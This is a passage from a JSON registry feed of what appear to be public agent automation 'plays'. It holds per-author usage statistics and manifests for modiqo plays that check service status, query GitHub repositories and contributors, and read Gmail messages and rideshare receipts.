bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T19:46:37.725363+00:00","last":"2026-09-05T19:46:37.725363+00:00"},{"owner":"heavybit-crucible","author":"Chetan Conikee","plays":1,"steps":6,"median_steps":6,"kinds":{"api":2,"shell":3,"browser":0},"apis":[{"name":"crucible","plays":1}],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-27T01:51:53.708485+00:00","last":"2026-08-27T01:51:53.708485+00:00"},{"owner":"hubert","author":"Hubert","plays":1,"steps":8,"median_steps":8,"kinds":{"api":0,"shell":8,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-14T08:42:07.940731+00:00","last":"2026-08-14T08:42:07.940731+00:00"},{"owner":"iamaanahmad","author":"iamaanahmad","plays":1,"steps":5,"median_steps":5,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T11:36:35.137959+00:00","last":"2026-09-06T11:36:35.137959+00:00"},{"owner":"itssaharsh","author":"itssaharsh","plays":1,"steps":9,"median_steps":9,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":0,"cost_plays":0,"first":"2026-09-06T09:40:23.866467+00:00","last":"2026-09-06T09:40:23.866467+00:00"},{"owner":"khushithakor","author":"Khushithakor0709","plays":1,"steps":10,"median_steps":10,"kinds":{"api":0,"shell":10,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T15:02:47.74583+00:00","last":"2026-09-04T15:02:47.74583+00:00"},{"owner":"komodos","author":"komodos","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"curl","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T17:11:26.786694+00:00","last":"2026-09-01T17:11:26.786694+00:00"},{"owner":"krishna","author":"krishna","plays":1,"steps":6,"median_steps":6,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T08:20:39.572516+00:00","last":"2026-09-05T08:20:39.572516+00:00"},{"owner":"kuntal-ghosh","author":"Mithu2007ghosh","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T14:18:03.890386+00:00","last":"2026-09-03T14:18:03.890386+00:00"},{"owner":"launchtruth-tools","author":"dhiran4","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T21:48:46.108315+00:00","last":"2026-09-05T21:48:46.108315+00:00"},{"owner":"mayank-s","author":"mayank-s","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T11:46:58.300297+00:00","last":"2026-09-05T11:46:58.300297+00:00"},{"owner":"mugunth","author":"Mugunthperumal372","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"sed","plays":1},{"name":"git","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T00:45:25.202299+00:00","last":"2026-09-01T00:45:25.202299+00:00"},{"owner":"nakeeb-mufeed","author":"Antigravity","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T15:54:35.680233+00:00","last":"2026-09-05T15:54:35.680233+00:00"},{"owner":"okeshavv","author":"okeshavv","plays":1,"steps":5,"median_steps":5,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:06:19.962258+00:00","last":"2026-09-06T14:06:19.962258+00:00"},{"owner":"ombhojane","author":"Ombhojane05","plays":1,"steps":9,"median_steps":9,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T05:37:09.932276+00:00","last":"2026-09-04T05:37:09.932276+00:00"},{"owner":"philipp-comans","author":"philipp-comans","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python","plays":1},{"name":"python3","plays":1},{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-19T18:22:38.474557+00:00","last":"2026-08-19T18:22:38.474557+00:00"},{"owner":"praveen-sec","author":"praveen","plays":1,"steps":3,"median_steps":3,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"bash","plays":1},{"name":"git","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T12:52:19.718422+00:00","last":"2026-09-01T12:52:19.718422+00:00"},{"owner":"preflight","author":"preflight","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T09:16:04.410378+00:00","last":"2026-09-02T09:16:04.410378+00:00"},{"owner":"prempalhade","author":"prempalhade","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T09:31:16.248914+00:00","last":"2026-09-06T09:31:16.248914+00:00"},{"owner":"prerana","author":"prerana","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T21:33:41.915742+00:00","last":"2026-09-03T21:33:41.915742+00:00"},{"owner":"prerana-plays","author":"prerana","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T20:58:44.623119+00:00","last":"2026-09-05T20:58:44.623119+00:00"},{"owner":"psohi-labs","author":"psohi-labs","plays":1,"steps":6,"median_steps":6,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":0,"cost_plays":1,"first":"2026-09-05T06:36:51.71768+00:00","last":"2026-09-05T06:36:51.71768+00:00"},{"owner":"reproduce-play","author":"reproduce-play","plays":1,"steps":9,"median_steps":9,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T18:23:33.69599+00:00","last":"2026-09-05T18:23:33.69599+00:00"},{"owner":"retinapeg","author":"retinapeg","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-31T21:47:48.402522+00:00","last":"2026-08-31T21:47:48.402522+00:00"},{"owner":"rishabhyadav0227","author":"rishabhyadav0227","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":0,"cost_plays":0,"first":"2026-09-06T14:51:13.000386+00:00","last":"2026-09-06T14:51:13.000386+00:00"},{"owner":"riyamustare","author":"riyamustare","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T02:17:50.954582+00:00","last":"2026-09-03T02:17:50.954582+00:00"},{"owner":"rudraveersinghrathore","author":"rudraveersinghrathore","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1},{"name":"rote","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T16:59:13.590741+00:00","last":"2026-09-05T16:59:13.590741+00:00"},{"owner":"sadiqqx","author":"sadiqqx","plays":1,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:04:48.099203+00:00","last":"2026-09-06T14:04:48.099203+00:00"},{"owner":"sahil","author":"gjugn","plays":1,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T22:56:26.39613+00:00","last":"2026-09-05T22:56:26.39613+00:00"},{"owner":"sahil-labs","author":"CyberCodezilla","plays":1,"steps":7,"median_steps":7,"kinds":{"api":0,"shell":7,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T19:31:33.986153+00:00","last":"2026-09-05T19:31:33.986153+00:00"},{"owner":"sahilnadaf","author":"sahil","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"deno","plays":1}],"clusters":[{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T18:16:52.395297+00:00","last":"2026-09-01T18:16:52.395297+00:00"},{"owner":"saich-home","author":"saich","plays":1,"steps":11,"median_steps":11,"kinds":{"api":6,"shell":4,"browser":0},"apis":[{"name":"exa-search","plays":1}],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"messages.list · deno","plays":1}],"read_only_share":100,"cost_plays":1,"first":"2026-09-06T04:03:40.399735+00:00","last":"2026-09-06T04:03:40.399735+00:00"},{"owner":"saikiran-labs","author":"Sai","plays":1,"steps":3,"median_steps":3,"kinds":{"api":0,"shell":3,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T10:57:43.949951+00:00","last":"2026-09-05T10:57:43.949951+00:00"},{"owner":"saikiranpulagalla","author":"saikiranpulagalla","plays":1,"steps":5,"median_steps":5,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"sh","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T05:03:18.90445+00:00","last":"2026-09-06T05:03:18.90445+00:00"},{"owner":"sakshiitripathii","author":"Sakshiom7","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"curl","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T08:42:20.853461+00:00","last":"2026-09-06T08:42:20.853461+00:00"},{"owner":"sakshyamniraula2","author":"Sakshyamniraula2","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T07:29:11.125674+00:00","last":"2026-09-05T07:29:11.125674+00:00"},{"owner":"sanhik","author":"Sanhik","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T11:12:28.947928+00:00","last":"2026-09-04T11:12:28.947928+00:00"},{"owner":"sarveshmohite","author":"sarveshmohite","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T14:41:08.986648+00:00","last":"2026-09-06T14:41:08.986648+00:00"},{"owner":"sasivarnan","author":"Agent Outage Triage contributors","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T03:26:26.385137+00:00","last":"2026-09-06T03:26:26.385137+00:00"},{"owner":"shipquest","author":"Kirikminchu","plays":1,"steps":5,"median_steps":5,"kinds":{"api":0,"shell":5,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T11:53:03.911177+00:00","last":"2026-09-01T11:53:03.911177+00:00"},{"owner":"siddu-launch","author":"builder","plays":1,"steps":7,"median_steps":7,"kinds":{"api":0,"shell":7,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T14:04:45.041799+00:00","last":"2026-09-05T14:04:45.041799+00:00"},{"owner":"snehith18","author":"snehith18","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T14:43:41.225976+00:00","last":"2026-09-05T14:43:41.225976+00:00"},{"owner":"soleil-kamitto","author":"sol","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-02T02:19:38.252025+00:00","last":"2026-09-02T02:19:38.252025+00:00"},{"owner":"stantheman0128","author":"stantheman0128","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T16:01:01.620897+00:00","last":"2026-09-05T16:01:01.620897+00:00"},{"owner":"subhankar","author":"subhankar","plays":1,"steps":7,"median_steps":7,"kinds":{"api":0,"shell":7,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-01T12:32:01.772601+00:00","last":"2026-09-01T12:32:01.772601+00:00"},{"owner":"swathi","author":"swathi","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-08-26T07:08:23.248143+00:00","last":"2026-08-26T07:08:23.248143+00:00"},{"owner":"theelilap","author":"Eli Lap","plays":1,"steps":0,"median_steps":0,"kinds":{"api":0,"shell":0,"browser":0},"apis":[],"tools":[],"clusters":[{"name":"github","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-05-28T17:15:10.571869+00:00","last":"2026-05-28T17:15:10.571869+00:00"},{"owner":"tusharshahi","author":"tusharshahi","plays":1,"steps":4,"median_steps":4,"kinds":{"api":0,"shell":4,"browser":0},"apis":[],"tools":[{"name":"curl","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-03T21:21:33.584141+00:00","last":"2026-09-03T21:21:33.584141+00:00"},{"owner":"userreyyan","author":"Mohammad Reyyan Ahmed","plays":1,"steps":6,"median_steps":6,"kinds":{"api":0,"shell":6,"browser":0},"apis":[],"tools":[{"name":"sh","plays":1},{"name":"C++","plays":1},{"name":"cpp","plays":1},{"name":"java","plays":1},{"name":"pwd","plays":1},{"name":"python","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T05:58:48.982101+00:00","last":"2026-09-06T05:58:48.982101+00:00"},{"owner":"vaishnav","author":"vaishnav","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-04T06:00:50.856748+00:00","last":"2026-09-04T06:00:50.856748+00:00"},{"owner":"vickysharma-prog","author":"vickysharma-prog","plays":1,"steps":2,"median_steps":2,"kinds":{"api":0,"shell":2,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T10:45:38.039521+00:00","last":"2026-09-06T10:45:38.039521+00:00"},{"owner":"vrajsensei","author":"vrajsensei","plays":1,"steps":9,"median_steps":9,"kinds":{"api":0,"shell":9,"browser":0},"apis":[],"tools":[{"name":"node","plays":1}],"clusters":[{"name":"node","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-06T06:00:23.317221+00:00","last":"2026-09-06T06:00:23.317221+00:00"},{"owner":"yash","author":"Yashtulshi","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"python3","plays":1}],"clusters":[{"name":"python3","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T11:32:40.63514+00:00","last":"2026-09-05T11:32:40.63514+00:00"},{"owner":"yashdedhia05","author":"yashdedhia05","plays":1,"steps":1,"median_steps":1,"kinds":{"api":0,"shell":1,"browser":0},"apis":[],"tools":[{"name":"bash","plays":1}],"clusters":[{"name":"git · bash","plays":1}],"read_only_share":100,"cost_plays":0,"first":"2026-09-05T11:18:21.307869+00:00","last":"2026-09-05T11:18:21.307869+00:00"}],"links":{"self":"https://www.modiqo.ai/api/public-registry","fallback":"https://www.modiqo.ai/feeds/public-plays.v1.json","schema":"https://www.modiqo.ai/feeds/public-plays.schema.json"},"items":[{"id":"https://play.modiqo.ai/modiqo/hello@0.2.2","reference":"modiqo/hello@0.2.2","uri":"https://play.modiqo.ai/modiqo/hello@0.2.2","manifest_uri":"https://play.modiqo.ai/modiqo/hello@0.2.2","name":"hello","title":"hello","description":"Is it down, or is it just you — for YOUR machine. Probes the AI harnesses you actually have installed (claude, codex, agy, pi, hermes, opencode), ranks them by session recency, checks version drift and provider status, reads live model prices from LiteLLM, checks common infra (AWS, Supabase, Cloudflare, GitHub with Actions, HuggingFace), and surfaces this week's npm/cargo/pip advisories. A parallel dependency DAG with provable step-to-step dataflow; every source degrades to a labeled unknown instead of failing the play; ends in one classified briefing with a glyph stage ledger. S0-clean, reads public data only, writes nothing, carries no keys, needs only python3.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-agent-operations","job-service-readiness","audience-developers","effect-read-only"],"primary_domain":"domain-agent-operations","author":"modiqo","version":"0.2.2","published_at":"2026-08-17T23:57:46.127339+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":9429,"license":null,"stats":{"downloads":254,"installs":0},"steps":{"count":9,"names":["hf_status","advisories","aws_events","infra_status","model_pricing","sessions_rank","version_drift","probe_harnesses","provider_status"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9a6fbec5b05dca75a0c02ca734042daafe190be5a9d9e0cab80e20996102cda0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":0,"shell":9,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":0,"for_each_steps":0,"complexity":9,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9},{"name":"api.github.com","kind":"host","source":"inferred","count":1},{"name":"health.aws.amazon.com","kind":"host","source":"inferred","count":1},{"name":"raw.githubusercontent.com","kind":"host","source":"inferred","count":1},{"name":"registry.npmjs.org","kind":"host","source":"inferred","count":1},{"name":"status.claude.com","kind":"host","source":"inferred","count":1},{"name":"status.cloud.google.com","kind":"host","source":"inferred","count":1},{"name":"status.huggingface.co","kind":"host","source":"inferred","count":1},{"name":"status.openai.com","kind":"host","source":"inferred","count":1},{"name":"status.supabase.com","kind":"host","source":"inferred","count":1},{"name":"www.cloudflarestatus.com","kind":"host","source":"inferred","count":1},{"name":"www.githubstatus.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/modiqo/list-top-committers@0.1.4","reference":"modiqo/list-top-committers@0.1.4","uri":"https://play.modiqo.ai/modiqo/list-top-committers@0.1.4","manifest_uri":"https://play.modiqo.ai/modiqo/list-top-committers@0.1.4","name":"list-top-committers","title":"list-top-committers","description":"Lists top contributors for a GitHub repository, ranked by contribution count, with contribution share and profile URL.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-contributor-analysis","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Code Bot","version":"0.1.4","published_at":"2026-08-18T09:14:52.150205+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2585,"license":null,"stats":{"downloads":170,"installs":0},"steps":{"count":2,"names":["auth_github","contributors"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"limit","type":"integer","required":false,"default":"10","description":"Maximum contributors to return (1-100)"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:795618ed168b2722e3c189fca54178bb40c2e8c089392eaee46f15fe18cff632","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[{"adapter":"github","steps":2,"methods":["repos/list-contributors"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/search-github-repositories@0.1.2","reference":"modiqo/search-github-repositories@0.1.2","uri":"https://play.modiqo.ai/modiqo/search-github-repositories@0.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/search-github-repositories@0.1.2","name":"search-github-repositories","title":"search-github-repositories","description":"Searches GitHub repositories by keyword and optional language, returning ranked repository details and aggregate result counts.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-code-discovery","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"Code Bot","version":"0.1.2","published_at":"2026-08-17T23:58:18.021763+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3073,"license":null,"stats":{"downloads":151,"installs":0},"steps":{"count":3,"names":["auth_github","search_one_language","search_all_languages"]},"parameters":[{"name":"query","type":"string","required":true,"description":"GitHub repository search query"},{"name":"language","type":"string","required":false,"default":"any","description":"Programming language qualifier, or 'any' for no language filter"},{"name":"limit","type":"integer","required":false,"default":"10","description":"Maximum repositories to return (1-100)"},{"name":"sort","type":"string","required":false,"default":"stars","description":"GitHub search sort field","values":["stars","forks","updated"]}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:73a93dadefb593da9b417a2a67685baec1567d7d45b8ba9d9b94e899cafbca83","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[{"adapter":"github","steps":3,"methods":["search/repos"],"display_name":"GitHub v3 REST API","host":"api.github.com","kind":"rest","tools":1108,"fingerprint":"mcp_kmcjZ2U5m8NQMM8491mGhVmZthZ","source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1108},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/modiqo/retrieve-recent-emails@0.1.7","reference":"modiqo/retrieve-recent-emails@0.1.7","uri":"https://play.modiqo.ai/modiqo/retrieve-recent-emails@0.1.7","manifest_uri":"https://play.modiqo.ai/modiqo/retrieve-recent-emails@0.1.7","name":"retrieve-recent-emails","title":"retrieve-recent-emails","description":"Retrieves recent Gmail messages matching a Gmail search query and returns normalized sender, subject, date, and snippet details.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-workplace","workplace-automation","job-email-review","job-email-summary","last-email","latest-email","inbox-summary","tool-gmail","effect-read-only"],"primary_domain":"domain-workplace","author":"Code Bot","version":"0.1.7","published_at":"2026-09-02T18:29:36.303409+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3784,"license":null,"stats":{"downloads":135,"installs":0},"steps":{"count":4,"names":["details","messages","google_auth","validate_inputs"]},"parameters":[{"name":"query","type":"string","required":false,"default":"newer_than:1d","description":"Gmail search query passed to messages.list"},{"name":"count","type":"integer","required":false,"default":10,"description":"Maximum messages to retrieve (1-100)"}],"execution":{"adapters":[{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:09ed734a2907ff8c489562c5d193b3a09bf4c1194b60098ad593067f5a0ceb6c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":2,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":2,"fan_out":8,"for_each_steps":1,"complexity":8,"apis":[{"adapter":"gmail","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"Gmail API","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_2kLwgdDQH7fxkyDYysCHsbCXLooH","source":"modiqo/gmail","version":"0.0.3","protocol":"google_discovery","credentials":["GMAIL_TOKEN"]}],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":["GMAIL_TOKEN"],"mcp":{"servers":1,"tools":79},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/retrieve-rideshare-receipts@0.1.8","reference":"modiqo/retrieve-rideshare-receipts@0.1.8","uri":"https://play.modiqo.ai/modiqo/retrieve-rideshare-receipts@0.1.8","manifest_uri":"https://play.modiqo.ai/modiqo/retrieve-rideshare-receipts@0.1.8","name":"retrieve-rideshare-receipts","title":"retrieve-rideshare-receipts","description":"Finds Uber, Lyft, and Waymo receipt emails in a date range, extracts trip and fare details, deduplicates updates, and totals spend.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-workplace","workplace-automation","job-expense-reconciliation","tool-gmail","effect-read-only"],"primary_domain":"domain-workplace","author":"Code Bot","version":"0.1.8","published_at":"2026-08-18T08:54:02.547135+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":5693,"license":null,"stats":{"downloads":120,"installs":0},"steps":{"count":4,"names":["details","messages","google_auth","validate_inputs"]},"parameters":[{"name":"start_date","type":"string","required":true,"description":"Start date; use YYYY/MM/DD or YYYY-MM-DD (normalized to 